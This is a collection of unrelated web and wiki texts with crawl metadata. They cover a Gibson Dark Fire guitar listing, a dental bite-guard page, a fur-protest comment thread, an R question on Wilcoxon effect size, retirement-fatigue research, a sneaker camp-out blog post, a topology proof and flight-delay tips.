The Dark Fire you purchase today is designed to remain current with any upcoming developments from Gibson; the electronics can be removed from the guitar quickly and easily, and new electronics installed should the time come to upgrade to a future generation of Robot technology, or to change your pickups out of personal preference. The well-crafted, Les Paul-based core of the instrument retains its integrity whatever electronics you use with it, and therefore will retain its value despite what's done to alter its technological functions.
Every Dark Fire comes with Guitar Rig 3 and Ableton Live, integrated right out of the box.
Immediately take advantage of Dark Fire's radical digital capabilities with the easy-to-install software package that comes standard with every Dark Fire"including a full version of Native Instruments' Guitar Rig 3, the most popular guitar effects software ever sold, and Ableton Live 7 Gibson Studio Edition, an exclusive, Gibson-only version of the celebrated virtual studio software. The Gibson Dark Fire guitar also includes a professional-quality, low-latency driver that allows you to use any software you already own.
These two popular professional and comprehensive software packages have been tightly integrated with the functionality of the new Gibson Dark Fire and the RIP interface in a way that creates a seamless, easy-to-use platform, thus delivering the most powerful and mobile guitar experience in the world, aptly capable of replacing a trunk full of gear with a laptop and enabling you to transport your entire sound arsenal with you wherever you go.
Guitar Rig 3.
Ableton Live 7 Gibson Studio Edition.
The exclusive Gibson version of Ableton Live software"dubbed Ableton Live 7 Gibson Studio Edition"provides Dark Fire owners with the ability to record, play loops and perform every other function needed to play in any live or studio setting. Enjoy the benefits of using the same virtual studio software and stage solution package already used by hundreds of touring professionals all around the world.
A Real Knock-Out.
The design and shape of Gibson's iconic Les Paul is timeless, and needs no real introduction or explanation. It is simply the most recognizable and functional guitar design in the world, and the new Dark Fire takes it to an entirely new level.
The Dark Fire's chambered mahogany body helps deliver near-perfect tone, balance and weight. The Dark Fire is a comfortable, lightweight guitar that is acoustically louder, with increased sustain and resonance than traditional solid body guitars.
The redesigned powerhead tuners on the Dark Fire are significantly smaller and lighter, and more in line with the size and weight of conventional tuners. They're also radically faster. You can now access any preset tuning in less than one second, which means you can realistically change tunings in the middle of a song, if needed. What's more, the tuners are now automatically engaged to operate both electronically or individually by hand.
Gibson's traditional flowerpot inlay graces the peghead of the Dark Fire. The classic block inlays found on the Dark Fire remain one of the most distinguishable features of many traditional Gibson models. The body is also bound with dual black binding, which accents the Dark Fire's exclusive finish perfectly and provides both the protection and beauty of traditional Gibson binding. The mahogany back and neck of the Dark Fire are given a satin finish, while the top and peghead face are sprayed with a gloss finish.
Other exclusive design elements limited to the Dark Fire electric guitar are a distinct nut made from a special Teflon-based material that allows for smoother and faster tuning action, a truss rod cover made from anodized aluminum, black top hat volume and tone knobs with chrome inserts, and a super fast and comfortable asymmetrical neck profile design with Gibson's PerfectSetup, which is made possible by the revolutionary computer-controlled PLEK system, acknowledged as the most precise guitar set-up technology in the industry. As the guitar lies in a cradle, a computer-controlled robot arm moves along the neck measuring each fret's height, the fingerboard radius, even the bow in the neck. Using that data, the Plek machine adjusts the truss rod, cuts the nut slots for optimal spacing and height for each string, files each fret to a hundredth of a millimeter accuracy, and then polishes the frets. In a fraction of the time it takes a skilled technician, the Plek machine eliminates buzzing strings and dead spots, producing a neck with flawless intonation and superb action.
Body Style: Chambered Les Paul
Top: Carved maple
Back: Mahogany
Binding: Dual black binding
Neck: Set, mahogany
Neck profile: Super fast and comfortable asymmetrical neck profile
Peghead pitch: 17 degrees
Neck joint location: 16th fret
Fingerboard: Rosewood
Scale length: 24-3/4"
No. of frets: 22
Nut: special Teflon-based material
Headstock Inlay: Traditional flowerpot
Hardware: Chrome
Fingerboard inlay: Classic block Inlays
Tailpiece: Modern stopbar
Bridge: Tune-O-Matic Piezo Bridge
Knobs: Black top hat volume and tone knobs with chrome inserts
Tuners: Improved locking Powerhead tuners for Instantly Activated Tuning. String sLEDs Display Actions During Tuning Operations
Neck pickup: Gibson's new P-90H
Bridge pickup: Burstbucker 3
Acoustic pickup: Piezo Bridge Pickup
Electronics: Chameleon tone technology
Controls: two volume, one tone, 3-way toggle pickup selector with Piezo blend
Master Control Knob: 8 tone guitar settings, 18 different guitar tunings, and 24 user defined guitar settings
Power: battery system and 12V DC connector for the Robot Interface Pack's power supply
Finish: nitrocellulose. The mahogany back and neck have a satin finish, while the top and peghead face are gloss finished.
Fit and Finish: PerfectSetup by PLEK
Hardshell Case
Robot Interface Pack (RIP) interface | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '509', 'language_id_whole_page_fasttext': "{'en': 0.8829198479652405}", 'metadata': "{'Content-Length': '109749', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:WCKYQE4G6AHQNYJWJMAY2SSW6766PCL2', 'WARC-Concurrent-To': '<urn:uuid:5829f04d-31a8-48ef-b7ca-242da55917df>', 'WARC-Date': datetime.datetime(2021, 9, 26, 13, 43, 46), 'WARC-IP-Address': '62.12.149.223', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:E2AW27AUCYQAZO4ZLLWSSNZ3VCMDHY52', 'WARC-Record-ID': '<urn:uuid:4f3c55fb-b47d-4c90-8703-defb68285163>', 'WARC-Target-URI': 'https://www.musikhausluzern.ch/pi/gitarren-baesse/Gibson-Les-Paul-Dark-Fire-Occasion-Limited-Edition-First-Run.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:f8bfb30a-ac3a-440e-b85c-4e02456795a5>', 'WARC-Truncated': None}", 'previous_word_count': '2619', 'url': 'https://www.musikhausluzern.ch/pi/gitarren-baesse/Gibson-Les-Paul-Dark-Fire-Occasion-Limited-Edition-First-Run.html', 'warcinfo': 'isPartOf: CC-MAIN-2021-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-93\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.022993385791778564', 'original_id': '83988f0f993f0d59cd974ecfcfcc95ca95febdd2a268e95cbb12a8de3845dbdb'} |
Bite Guards in Highlands Denver
Bite Guards in DenverDo you suspect you might grind your teeth because you wake up in the morning with jaw pain or headaches? Both of these can be a sign of teeth grinding, which is also known as bruxism.
People with bruxism often wake up in pain because of repeated gnashing, grinding, or clenching of their teeth while they are sleeping. Not only is this disruptive to a good night’s sleep, but it can actually cause lasting damage to their teeth. If you are subjecting your teeth to the stresses of grinding, this can produce up to 250 pounds of force per square inch—and that is a lot of pressure to be placed on your teeth!
If you know or suspect you are grinding your teeth at night, come and see Dr. Kara Arnold or Dr. Jennifer Rohleder of Highland Smiles. Find out if a bite guard might be the solution for your bruxism. You will sleep better—and you will wake up without headaches or jaw pain.
Causes of Teeth Grinding and Jaw Clenching
Although certain personality types might be more prone to teeth grinding and jaw clenching, one of the major causes of teeth grinding is something quite common: stress. Other causes of teeth grinding can include smoking, caffeine, alcohol, and some drugs. Young children often grind their teeth, although many will outgrow this when they are teenagers. Sometimes teeth grinding is simply a coping strategy.
Jaw Problems from Grinding Your Teeth and Clenching Your Jaw
Teeth grinding can cause pain, but it can also cause damage to teeth and dentures, as well as crowns and any other restorations you might have. Teeth grinding can even cause tiny cracks in the teeth and broken fillings, with the end result being nerve damage. Oftentimes, people who grind their teeth will end up needing a root canal. The back-and-forth impact of teeth grinding can also cause gum pockets to form and teeth to loosen.
Teeth grinders may also hear a clicking sound when they open and close their jaw; this can indicate there is a disorder in the temporomandibular joints (TMJs). When teeth are ground down to the dentin, people can experience sensitivity to heat and cold. If it isn’t addressed, bruxism can cause a lot of problems!
How a Bite Guard Can Help with Bruxism
Bite Guards for Bruxism in DenverA bite guard is a simple device that protects the teeth from grinding against each other. It fits between the upper and lower teeth. Night guards are available at the corner drugstore, but they are often ill-fitting and uncomfortable. At Highland Smiles, we will custom make a bite guard that will fit you securely and comfortably. We will ensure that your jaw is properly aligned with the bite guard and that it won’t push onto your gums.
There is no reason to put up with jaw pain, headaches, or lasting damage to your teeth. Contact Dr. Arnold or Dr. Rohleder at Highland Smiles to find out how a bite guard can help you! Give us a call and make an appointment today! | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9389953017234802}", 'metadata': "{'Content-Length': '63653', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:PS563OX3HRSE76WMTIXSDXUJIZQJFIMJ', 'WARC-Concurrent-To': '<urn:uuid:31e3d138-2400-40c1-a38f-1910976bf0d6>', 'WARC-Date': datetime.datetime(2021, 7, 25, 3, 4, 9), 'WARC-IP-Address': '172.67.168.186', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:WHATQO4LMSEJAHF3MIMDMU2KFKUY7JSL', 'WARC-Record-ID': '<urn:uuid:0a1e9421-d18f-4643-b8f2-ec29b746e686>', 'WARC-Target-URI': 'https://www.highlandsmiles.net/services/bite-guards/9897', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:abc5ffad-93ae-4873-9b49-218ab8f4b629>', 'WARC-Truncated': None}", 'previous_word_count': '516', 'url': 'https://www.highlandsmiles.net/services/bite-guards/9897', 'warcinfo': 'isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-171.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.11872231960296631', 'original_id': '7209a32cccf8c9e5c501faca40239b45c0204cb42bac40dcf51e61e80016af26'} |
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Animal Rights Group Unhappy With Weir Wearing Fur
January 26, 2010 | Fur
The NY Times
By NANCY ARMOUR AP National Writer
Filed at 9:59 p.m. ET
Johnny Weir has set fur flying again.
Besides, he's not the only skater wearing animal skin products.
I am not a fan of slaughtering animals just for their skins but consider this; If people hadn't thought to use animal fur to keep warm, everyone would have frozen to death before commercial fabrics were made. Therefore none of us would be here to complain about anything that anyone else does. FoA Comment: Choosing real fur and other skins nowadays is pretty archaic. With the options available all around us now, one cannot remotely imply that these items are deemed necessary anymore.
I like Priscilla's comment about awareness. That is totally spot on.
I did not intend to imply that it necessary any longer. I do not condone the use of fur or leather. There are many better options readily available now. I was simply stating that at one time the use of animal skins was a necessary evil for survival.
In reply to Jess, Friends of Animals agrees that there's simply no need, in the 21st century, to take the lives of Arctic foxes, coyotes, wolves, red and grey foxes, ermine, lynx, raccoons, beavers, seals, rabbits, chinchillas or other animals who were born in their fur. Other mammals, like us, want to go about the business of living. Their fur belongs to them and so does their freedom. 60 minks are skinned to make one coat. 45 foxes are tortured to make another coat. Why should furriers be rewarded for causing their deaths? When caught in leghold traps, foxes and other animals will fight to free themselves. When animals caught in snares try to escape, the wire cuts more deeply into limbs, necks or bodies. Friends of Animals' video footage of Alaska wolves caught in snares appalled viewers who watched them on national news broadcasts. Our mink neck-breaking video shot on a Northwest fur farm was aired on 60 Minutes. Awareness is the key to reversing the trend of young people who are most of today's fur buyers. Consumers of all ages should know that buying any amount of fur means sustaining an industry that farms or traps, kills and processes animals who deserve to have lived full, free lives. Johnny Weir is right about one thing: Fur is a dirty business. Priscilla Feral
I don't understand one of the statements above, where the editor writes that, "coyotes, raccoons, wolves do not run free in nature." Please tell me that you are not being serious. Where are you from? Where I come from, we not only have coyotes, wolves, and raccoons, but we have deer, elk, bears, foxes, antelope, bobcats, mountain lions (or "cougars"), skunk, porcupine, pheasant, turkey, badgers, and I'm probably forgetting some. .. [Blog editors' note: You've misread the comment. Foxes and other animals trapped for the fur trade are a part of nature, so your interference into their lives is objectionable. Some minks, foxes,wolves and other animals are confined on fur farms and suffer hideously. Johnny Weir is right about one thing Friends of Animals has long said: Fur is a Dirty Business. Also, it's an industry that should be abolished, not rewarded by wearing pieces of fur that supports a gruesome trade with no respect for animals.]
He is an arrogant egotistical idiot. He shouldn't be allowed to represent the United States or any decent respectable orginization. I wish someone would post the companys that sponsor him so I can send letters of protest.
As to Johnny Weir's professed humanitarian concerns, let him "put his fur where his mouth is." Johnny, sell all your furs and donate that money to humans in need. Surely you care more about humans than wearing fur.
“Foxes are electrocuted or beaten, and their pelts are obtained by skinning the animals alive, said Anai Rhoads, spokeswoman for the group.†I've never heard of this. What proof do you offer to support this claim? FoA Comments: In a BBC documentary, you will see that foxes are, in fact, skinned alive. We should note that our intentions were not to target a piece of fur, but the use of fur overall. Johnny Weir wears full-length coats, has adorned his apartment with reindeer pelts and other items that were derived from animals. He has not been shy about his intentions and we need him to be mindful how these furs were obtained. Killing an animal for mere decoration, whether it be for a coat, hat or furniture - should not be acceptable to anyone.
The comments by Natasha and Weir-y of this Person really struck me. I have to admit, I've never given a lot of thought to the animal rights movement, though I consider myself to be a very socially-conscious person. The points Natasha makes about extending compassion to ALL living creatures are so pertinent. As a society, we need to examine the wide-range and long-term effects our excessive consumption has on this planet and its inhabitants. Very well put, Natasha! I was initially intrigued by this article from an LGBT perspective. I always hope when an LGBT person (especially a young gay man like Weir) comes into the public eye, he or she will prove to be a great ambassador/role model for the larger LGBT community. Clearly, Johnny Weir is not this type of young gay man, as Weir-y of this Person pointed out. Comments about homelessness and the Haitian earthquake, both grave issues, coming from Johnny Weir seem too mundane and are used to deflect attention from the fur question. And it seems contradictory that someone so apparently in-tune to human suffering would talk about death and tragedy with the same breath that he uses to describe the aesthetic value of the fox-fur trim he had added to his costume. His flippant remarks reveal him to be another shallow, poorly-informed young gay man. I wonder how many filling meals and potable water could be purchased for the cost of that fox fur trim. Did that occur to Johnny?
I am so glad, once again, that you are addressing issues of cruelty to animals in areas where most people would not think to look. What does homelessness and the tragedy in Haiti have to do with our responsibility not to inflict horrible pain and suffering that could be avoided on animals? And look how he shirks his responsibility as a world-wide role model in terms of his clothing and acts like anything he wears has nothing to do with any of his own possible hidden agendas--with or without ice skates. His achievements on the ice are very impressive--which makes it even more imperative that he take responsibility for his actions and intentions towards animals that cannot possibly defend themselves. Thank you again. I can always trust FoA to "be there" where most others would not even notice anything wrong.
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One Sample Wilcoxon effect size
I am struggling with effect size calculations for the Wilcoxon test for one sample in R.
My data:
item1 <- c(1,5,3,4,4,2,3,2,1,4,5,4,3,1)
dt<- as.data.frame(id=1:14, item1)
My Hypothesis:
$H_0: \theta \le 3 \quad vs. \quad H_1: \theta > 3$
With this data I get 3 null differences ($item1-3$) and thus $n$ becomes $11$. Hand calculations following Wilcoxon original paper gives $W=\min(W^+,W^-)=32$.
If I run the Wilcox_test from package rstatix using
dt|>rstatix::wilcox_test(item1~1, mu=3, alternative="greater")
I get:
$n=14; w=32; p=0.555$ (first question, $n$, after discounting $D=item1-3=0$ should be 11, not 14?
If I run the effect size as
dt|>rstatix::wilcox_effsize(item1~1, mu=3)
I get $effsize=0.0085$ with $n=14$.
This is $r=\frac{Z}{\sqrt n}$ where $z=\dfrac{W-n*(n+1)/4}{\sigma_w}$ where $\sigma_W=\sqrt{\frac{n(n+1)(2 n+1)}{24}-\sum_{i=1}^g \frac{e_i^3-e_i}{48}}$
My questions:
Should the effect size use only the n<-sum(Di!=0) that is $11$, instead of n<-nrow(dt) =$14$?
If I calculate the rank biserial correlation with rob<-(2 * (W / totalRankSum)) - 1 I get $rob=-0.030$ which is close to the $r=-0.027$ calculated with $n=11$, not $n=14$.
So, I think that the $Z$ and $r$ should be calculated with sample size corrected for $Di=0$. I can't find a definitive answer in Maciej Tomczak and Ewa Tomczak. The need to report effect size estimates revisited. An overview of some recommended measures of effect size. Trends in Sport Sciences. 2014; 1(21):19-25. They say that $n$ should be the $n$ used for the $Z$ calculation, but say nothing about correcting for null differences....
What do you think? Can you give me a final reference to settle the question of which $n$ to use?
Effect sizes with nonparametric tests are challenging.
My recommendation would be to use the rank biserial correlation coefficient, rather than the r that is the z value divided by the square root of N.
A reference for the calculation is King, B.M., P.J. Rosopa, E.W. and Minium. 2000. Statistical Reasoning in the Behavioral Sciences, 6th. Wiley.
Although it appears you already know how to do this. They show the matched-pairs case, but this can be adapted to the one-sample case.
The r statistic has a few limitations as an effect size statistic. In some cases it won't reach 1 or -1 in cases where we think it should.
If you do use the r statistic, I would decrease N to account for values that equal the designated mu. To, me this seems to give more reasonable results.
There is a question of to deal with these zero-difference observations with the rank biserial correlation coefficient also (or in the Wilcoxon test itself).
I have some examples of these properties with the relevant functions in the rcompanion package, with the caveat that I wrote them.
I can't speak to the rstatix package.
Here, with item2, and mu=3, we would probably expect the effect size to be -1, but it isn't with the r statistic.
library(rcompanion)
item2 = c(1,2,1,2,1,2,1,2,1,2,1,2,1,2)
wilcoxonOneSampleR(item2, mu=3)
### r
### -0.906
The rank biserial correlation coefficient is -1.
wilcoxonOneSampleRC(item2, mu=3)
### rc
### -1
Here, with zero-difference values, the default for r is to decrease N by the number of zero-difference values.
item3 = c(1,2,1,2,1,2,1,2,1,2,3,3,3,3)
wilcoxonOneSampleR(item3, mu=3)
### r
### -0.911
wilcoxonOneSampleR(item3, mu=3, adjustn=FALSE)
### r
### -0.77
The rank biserial correlation coefficient function also has a verbose option, which may be helpful.
wilcoxonOneSampleRC(item3, mu=3, verbose=TRUE)
### zero.method: Wilcoxon
### n kept = 10
### Ranks plus = 55
### Ranks minus = 0
### T value = 0
###
### rc
### -1
The function also has a zero.method option that can be set to "Pratt" or "none" for different ways to deal with zero-difference values. (See the documentation.)
Thanks @Sal. I agree, rank biserial is more appropiate then r based on Z. In most cases, both measures agree and since Cohen fave Z, people follow up on it. My problem is which "n" to use. I believe it should be the "n" after removing the null differences, but I can find a suitable reference. Thanks also for the suggestion for the rcompanion... the verbose option and "n kept" is, to me, more correct than the "n" reported by rstatix.
Yeah, I don't have a reference for the different ways to handle the null differences. It has been discussed on Stack Exchange in terms of the Wilcoxon signed rank test. You might be able to find some references for the "Wilcoxon" zero method in this context vs. "Pratt". These are mentioned here: ?coin::wilcoxsign_test and here: ?rcompanion::wilcoxonOneSampleRC.
So I went and took a quick read at Pratt, J. W. (1959). doi: 10.1080/01621459.1959.10501526 ... and I can see Pratt's point... not sure however If I agree. One thing is to have 0 in the data, the other is to have 0 as differences between data... in the first case it makes since to me that you account for the 0 when ranking (I guess that if you sum +1 to the data with zeros, the zero problem goes away). However, Wilcoxon says get rid of 0 for the differences, not for the data (even if we assume mu=0 as Pratt exemplifies ... Or I didn't really get Pratt's point and need to read it again :-)...
oh, by the way rcompanion::wilcoxonOneSampleRC(item1, mu=3,zero.method = "Wilcoxon") gives rc=-0.0303 as in my hand calculation (rounded to 3 decimal places).
I think, in Pratt the "0"'s mean zero difference, or observation = mu in the one-sample case. The ranking is always done on the differences in these tests. The Pratt method should make sense in most real cases, but it appears to sometimes be squirrely in small-sample toy cases I've played with.
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A Cure for Fatigue
Retirement is that point in your life when you decide to leave the labor force. Of course, you can always opt to semi-retire by reducing the number of hours you work.
For most, the decision to retire usually depends on financial reasons. If you know that your company pension benefits kick in at a certain age, then that’s when you’ll most likely choose to retire.
The whole idea of retirement is a modern invention. It wasn’t until the 19th and 20th centuries that people began to stop working before their health took a chronic turn for the worse. Life expectancy in the 1800s was roughly 37 years of age (!). Of course, there were no pensions either, and so everyone simply worked until their death. Germany was the first country to introduce retirement in the 1880s.
There have been conflicting reports about the benefits of retirement. Although a lot of research documents definite physical benefits in relation to retirement, there also seem to be studies that suggest continued work is actually good for the brain and soul.
So what do we make of this debate: is it better to keep working and try to maintain your work skill set, or is it best to step back and let other, younger employees do the daily grind? Well — recent results from a Swedish study come down in favor of the pro-retirement camp. Researchers at the Stress Research Institute at Stockholm University have discovered that retirees experience less tiredness and depression.
The Swedish research team analyzed data from more than 11,000 men and almost 2,900 women in France who were surveyed for seven years before and seven years after they retired. Seventy-two percent retired between the ages of 53 and 57 and all were retired by the age of 64.
Now take a look at these statistics: in the year before retirement, 25% of the participants suffered from depression and seven percent were diagnosed with various conditions, including diabetes, respiratory disease, heart disease, and/or stroke. But after retirement, there was a big decrease in mental and physical fatigue, and a smaller, but still significant decrease in depression. As for rates of chronic diseases — they didn’t decrease, but gradually increased with age, as the researchers expected they would.
The research team noted that many people find full-time work tiring, so, once that is removed, energy levels go up. But they also suggest that retirement allows people to engage in more stimulating and restorative activities. Have you ever been in the position where you were too tired at the end of the work day to exercise? No so for retirees, the researchers say, who can get all the health benefits of exercise when they don’t have to contend with job fatigue.
Tags: , | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '11', 'language_id_whole_page_fasttext': "{'en': 0.9744964838027954}", 'metadata': "{'Content-Length': '67781', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:TNIGPIL637COWMGJSCID7RQRQLIAGPCZ', 'WARC-Concurrent-To': '<urn:uuid:8b3c5390-3da0-4bc0-a049-53741ebb711e>', 'WARC-Date': datetime.datetime(2021, 6, 22, 20, 29, 29), 'WARC-IP-Address': '68.183.138.149', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:UHC5MUOG3CQIMVFRIVIBSZOTVARIOT2C', 'WARC-Record-ID': '<urn:uuid:70e7c928-5970-4db9-bea5-1997b4f769e6>', 'WARC-Target-URI': 'https://www.doctorshealthpress.com/general-health-articles/natural-remedies/a-cure-for-fatigue/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:85e6948d-ce95-4fbb-90de-9275fcf04d1c>', 'WARC-Truncated': None}", 'previous_word_count': '472', 'url': 'https://www.doctorshealthpress.com/general-health-articles/natural-remedies/a-cure-for-fatigue/', 'warcinfo': 'isPartOf: CC-MAIN-2021-25\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-245.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.020445287227630615', 'original_id': '076f8afc7763d3dc38e83bbaa01c4d295589c37d9e9edd4d0e95de6f75dbf772'} |
Just Post
Continuing from the last blog entry, we decided to leave a bit early since we over heard some people trying to get there first. I really expected that alot of people would be there but it ended up not. People started to line up around 10 a.m. - 12 p.m. and then sometime around early morning around 7 a.m. ish. Camping out for this post fitted was yet again, makes me feel like shit, and just tired as hell. There's always bums around 2 to 4 a.m. trying to catch a few change from people in the line.
There was this one bum who just came out of no where and starting mumbling and talking gibberish about non sense. He got a glass bottle beer that was empty and then stood on his head and talking about more non sense. It was just to funny because in the back of my mind was what the fuck are you talking about? When I was hungry, I headed down to Jack In The Box for some food. At the end of the corner heading towards Jack In The Box was this bum who went up to me while walking and saying "Hey man, you look real familiar, are you on MTV cribs?" And he kept saying the same thing over and over. I felt like dude was about to knock the fuck out of me.
Thankfully he didn't do nothing since every time I camp out, something bad happens to me and I have no idea why, when I give change to bums or people who are need of money, or food. It's really weird. I tried going to sleep, but I couldn't because there was too much noise going around. There was this kid from the last post camp out. Dude in purple jeans that's skinny as hell, was there. He was trying to hard. Right before the doors open, he went back to his car to go put his Gucci backpack or whatever it was to try ever harder. His girl got staring problems, and not only that your jeans are skinner then your girls. Hypebeast ass kid. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9929780960083008}", 'metadata': "{'Content-Length': '38240', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:6ZADLJ3HUGS4TMEDXZKBSPJUSZCG6PLZ', 'WARC-Concurrent-To': '<urn:uuid:87756e9a-42e2-46bc-9843-48bd8511452a>', 'WARC-Date': datetime.datetime(2020, 9, 27, 10, 5, 24), 'WARC-IP-Address': '172.217.9.211', 'WARC-Identified-Payload-Type': 'application/xhtml+xml', 'WARC-Payload-Digest': 'sha1:RYBZI5MNGTWCPLHXNSGRYPT34KCHWKTB', 'WARC-Record-ID': '<urn:uuid:234b236c-9189-407e-965d-0fdb7c7f4fb5>', 'WARC-Target-URI': 'http://www.dunksrnice.com/2009/09/just-post.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:4df32f70-b7de-46be-9d49-8cbb1ee5bcdd>', 'WARC-Truncated': None}", 'previous_word_count': '358', 'url': 'http://www.dunksrnice.com/2009/09/just-post.html', 'warcinfo': 'isPartOf: CC-MAIN-2020-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2020\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-206.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.033953726291656494', 'original_id': '7ddd41694d9366525126157708fe4bc048ea17cd941d5ea701c0c46aefa00748'} |
\section{Regular Paracompact Space is not necessarily Metrizable}
Tags: Regular Spaces, Second-Countable Spaces, Paracompact Spaces, Regular Paracompact Space is not necessarily Metrizable, Metrizable Topologies
\begin{theorem}
Let $T = \struct {S, \tau}$ be a topological space which is regular and paracompact.
Then it is not necessarily the case that $T$ is metrizable.
\end{theorem}
\begin{proof}
Let $T$ be the Sorgenfrey line.
From Sorgenfrey Line is Regular, $T$ is a regular space.
From Sorgenfrey Line is Paracompact, $T$ is a paracompact space.
From Sorgenfrey Line is not Metrizable, $T$ is not a metrizable space.
{{qed}}
\end{proof}
| math_pile | {'subset': 'ProofWiki', 'meta': "{'type': 'Theorem_Proof'}", 'original_id': 'da4ac1f80173a527d255c1a8eaba46c6f1cce3b7aa5a13e6af1169a417b034f1'} |
For those of us who fly, there’s not much more frustrating than when our flights are delayed, particularly if our goal was to get to a specific place by a particular time. Here’s what to do if a flight is late.
Check Your Apps
Before you take any flight, be sure you have downloaded the airline’s app. Then, if you are in a situation where your plane is delayed, you can check your app for further information and sometimes change your itinerary within the app yourself. It is easier and more accessible than waiting in line to speak to an agent or waiting on the phone line for an available agent.
Check for an Alternate Carrier
When your flight is delayed, sometimes an airline is willing to book you on an alternate carrier. They are not required to do this, but it does help to ask if that’s a way you want to go.
Overnight Delays
In some cases, airlines will offer to pay for your hotel and meals, but in many cases, they will not. If your flight is delayed until the next morning, find out if you are owed any compensation. Will they pay for your hotel or your meals? Or will they compensate you in another way, such as with a voucher? Take the initiative to ask for what you need, because in some cases, the airline won’t tell you unless you ask them. For example, you can ask for a hotel voucher and food vouchers. You may or may not get it, but you’ll never know unless you ask the airline.
Seek Compensation
If your flight is delayed for over three hours or if the flight is cancelled then you are entitled to flight delay compensation. You can also claim this if you are refused boarding because the flight is overbooked.
Check Your Credit Cards
There are credit cards that offer benefits for people who are enduring flight delays. Do you own any of them? Some cards provide benefits for those experiencing up to a six-hour delay and some cards offer up to a 12-hour delay. So, for example, you could get reimbursed for up to 500 pounds for reasonable expenses occurred. These include things like food, lodging, transportation, etc. They may also have a benefit that provides for being able to stay in the airline’s lounge rather than the regular passenger seating area of the airport.
Take Advantage of Yoga and Meditation Rooms
One of the things you may want to do if your flight is delayed is to calm your nerves. There’s nothing you can do about making a plane go when you want it to go. All you can do is wait for the next flight. Therefore, rather than get yourself all worked up, think about ways to calm your nerves. One of those ways can include spending time in a yoga or meditation room of the airport. Many of today’s airports offer yoga and meditation rooms to calm your mind, body, and soul.
Try these tips to pave your way when you want to know what to do when a flight is late. Many options can benefit you. It takes action on your part and can prove to be a beneficial outcome. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9626310467720032}", 'metadata': "{'Content-Length': '22054', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:5DH37S3SXENWJTILN76I53O633S4L3IQ', 'WARC-Concurrent-To': '<urn:uuid:12a3554a-56b9-411d-9b33-a11921a82a17>', 'WARC-Date': datetime.datetime(2019, 1, 19, 3, 53, 1), 'WARC-IP-Address': '67.210.98.100', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:HMXNPIGEO4FHAQWKU3W3V3BNRRPRU45C', 'WARC-Record-ID': '<urn:uuid:cb50baff-341b-4b60-bdf0-6960f1ba161e>', 'WARC-Target-URI': 'http://www.airrecce.co.uk/heres-what-to-do-if-a-flight-is-late/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:53a5f168-52c2-416a-bf15-74f28109966b>', 'WARC-Truncated': None}", 'previous_word_count': '539', 'url': 'http://www.airrecce.co.uk/heres-what-to-do-if-a-flight-is-late/', 'warcinfo': 'isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-81-203-254.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT 